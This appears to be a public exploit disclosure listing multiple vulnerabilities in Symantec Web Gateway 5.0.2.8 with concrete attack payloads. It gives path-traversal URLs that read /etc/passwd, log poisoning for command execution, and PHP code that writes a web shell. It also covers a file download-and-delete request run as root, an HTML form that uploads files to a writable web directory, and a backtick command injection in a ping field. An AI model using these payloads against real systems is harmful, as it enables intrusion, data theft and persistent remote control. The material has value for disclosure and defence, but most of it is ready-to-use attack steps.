symantec Web gateway 5.0.2.8 – Multiple Vulnerabilities
Software: Symantec Web Gateway Current Software Version: 5.0.2.8 Product homepage: www.symantec.com Author: S2 Crew [Hungary] CVE: CVE-2012-0297, CVE-2012-0298, ??? File include: https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd File include and OS command execution: http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd You can execute OS commands just include the error_log: /usr/local/apache2/logs/ -rw-r--r-- 1 root root 5925 Nov 15 07:25 access_log -rw-r--r-- 1 root root 3460 Nov 15 07:21 error_log Make a connection to port 80: <?php $f = fopen('/var/www/html/spywall/cleaner/cmd.php','w'); $cmd = "<?php system(\$_GET['cmd']); ?>"; fputs($f,$cmd); fclose($f); print "Shell creation done<br>"; ?> Arbitary file download and delete: https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog d parameter: the complete filename After the download process application removes the original file with root access! :) Command execution methods: 1.Method Download and delete the /var/www/html/ciu/.htaccess file. After it you can access the ciu interface on web. There is an upload script: /ciu/uploadFile.php User can control the filename and the upload location: $_FILES['uploadFile']; $_POST['uploadLocation']; 2.Method <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data"> <input type="file" name="uploadFile"> <input type="text" name="action" value="upload"> <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/"> <input type="hidden" name="configuration" value="test"> <input type="submit" value="upload!"> </form> The "/var/www/html/spywall/cleaner" is writeable by www-data. Command execution after authentication: http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove) From the modified POST message: Content-Disposition: form-data; name="pingaddress" 127.0.0.1`whoami>/tmp/1234.txt` |